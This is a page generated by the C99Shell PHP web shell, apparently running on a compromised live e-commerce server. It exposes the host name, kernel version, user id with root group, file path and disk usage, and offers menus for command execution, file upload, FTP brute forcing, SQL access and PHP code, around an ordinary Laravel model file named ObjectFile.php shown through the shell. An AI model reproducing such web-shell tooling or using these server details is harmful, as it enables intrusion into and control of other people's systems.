!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/MediaManager/Http/Models/   drwxr-xr-x
Free 26.32 GB of 117.98 GB (22.31%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ObjectFile.php (2.32 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package Object File Model
 * @author TechVillage <support@techvill.org>
 * @contributor Kabir Ahmed <[kabir.techvill@gmail.com]>
 * @created 02-07-2022
 */

namespace Modules\MediaManager\Http\Models;

use 
App\Models\Model;
use 
App\Traits\ModelTraits\hasFiles;

class 
ObjectFile extends Model
{
    use 
hasFiles;

    public 
$timestamps false;

    public static function 
storeInObjectFiles($objectType null$objectId null$fileIds null) {
        
$objectFiles = [];
        if (
sizeof($fileIds) > 0) {
            foreach (
$fileIds as $data) {
                
$objectFiles[] = [
                    
'object_type' => $objectType,
                    
'object_id' => $objectId,
                    
'file_id' => $data,
                ];
            }
            return 
parent::insert($objectFiles);
        }

    }

    public function 
deleteFiles($objectType null$objectId null$options = [], $path null)
    {
        
$result['status'] = 0;
        
$result['fileStatus'] = __(':x does not exist.', ['x' => __('Attachment')]);
        
$files $this->getFiles($objectType$objectId$options);
        if (!empty(
$files)) {
            foreach (
$files as $key => $value) {
                if (
$this->where('id'$value->id)->delete()) {
                    
$result['status'] = 1;
                }
            }
        }
        return 
json_encode($result);
    }

    public function 
unlinkFile($file)
    {
        
$result['status'] = 0;
        
$result['fileStatus'] = __(':x does not exist.', ['x' => __('Attachment')]);
        if (
file_exists($file)) {
            @
unlink($file);
            
$result['status'] = 1;
            
$result['fileStatus'] = __("Attachment deleted");
        }
        return 
$result;
    }

    public function 
getFiles($objectType null$objectId null,    $options = [])
    {
        
$options array_merge(['ids' => [], 'isExcept' => false'limit' => null], $options);
        if (empty(
$objectType) && empty($objectId) && empty($options['ids'])) {
            return [];
        }
        
$query $this->whereNotNull('object_id')->select();
        if (!empty(
$objectType) && !empty($objectId)) {
            
$objectId = !is_array($objectId) ? [$objectId] : $objectId;
            
$query->where('object_type'$objectType)->whereIn('object_id'$objectId);
        }
        if (!empty(
$options['ids'])) {
            if (
$options['isExcept']) {
                
$query->whereNotIn('id'$options['ids']);
            } else {
                
$query->whereIn('id'$options['ids']);
            }
        }
        if (!empty(
$options['limit'])) {
            
$query->limit($options['limit']);
        }

        return 
$query->get();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--